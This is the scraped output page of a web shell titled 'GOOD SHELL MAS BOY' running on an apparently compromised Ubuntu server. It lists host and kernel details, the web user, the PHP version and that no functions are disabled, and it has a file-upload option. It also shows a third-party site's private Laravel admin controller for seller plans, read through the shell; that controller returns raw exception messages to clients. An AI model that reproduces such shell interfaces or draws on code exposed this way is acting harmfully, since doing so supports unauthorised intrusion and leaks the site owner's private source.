GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/console.fixgini.com/app/Http/Controllers/Admin/SellerPlanController.php
<?php

namespace App\Http\Controllers\Admin;

use App\Models\SellerPlan;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Log;
use App\Http\Controllers\Controller;

class SellerPlanController extends Controller
{
    public function index()
    {
        try {
            $seller_plans = SellerPlan::all();
            return response()->json(['status' => 'success', 'data' => $seller_plans]);
        } catch (\Throwable $th) {
            return response()->json(['status' => 'error', 'message' => 'Nothing found', 'data' => $th->getMessage()]);
        }
    }

    public function store(Request $request)
    {
        try {
            $validatedData = $request->validate([
                'name' => 'required|unique:seller_plans,name',
                'description' => 'required|string',
                'payment_link' => 'required|url|unique:seller_plans,payment_link',
                'fee' => 'required|numeric',
                'expiry' => 'required|string',
            ]);
            $seller_plan = SellerPlan::create([
                'name' => $validatedData['name'],
                'description' => $validatedData['description'],
                'payment_link' => $validatedData['payment_link'],
                'fee' => $validatedData['fee'],
                'expiry' => $validatedData['expiry'],
            ]);
            return response()->json(['status' => 'success', 'messgae' => 'Seller plan saved successfully', 'data' => $seller_plan]);
        } catch (\Throwable $th) {
            Log::error($th->getMessage());
            return response()->json(['status' => 'error', 'messgae' => 'Seller plan not saved successfully', 'data' => $th->getMessage()]);
        }
    }

    public function update(Request $request, $id)
    {
        try {
            $validatedData = $request->validate([
                'name' => 'required|string',
                'description' => 'required|string',
                'payment_link' => 'required|string',
                'fee' => 'required|string',
                'expiry' => 'required|string',
            ]);

            $seller_plan = SellerPlan::findOrFail($id);
            $seller_plan->update([
                'name' => $validatedData['name'],
                'description' => $validatedData['description'],
                'payment_link' => $validatedData['payment_link'],
                'fee' => $validatedData['fee'],
                'expiry' => $validatedData['expiry'],
            ]);

            return response()->json(['status' => 'success', 'message' => 'Seller plan updated successfully', 'data' => $seller_plan], 200);
        } catch (\Throwable $th) {
            Log::error($th->getMessage());
            return response()->json(['status' => 'error', 'message' => 'Seller plan not updated successfully', 'data' => $th->getMessage()], 500);
        }
    }

    public function destroy($id)
    {
        try {
            $seller_plan = SellerPlan::findOrFail($id);
            $seller_plan->delete();
            return response()->json(['status' => 'success', 'data' => 'Deleted successfully']);
        } catch (\Throwable $th) {
            return response()->json(['status' => 'error', 'data' => $th->getMessage()]);
        }
    }
}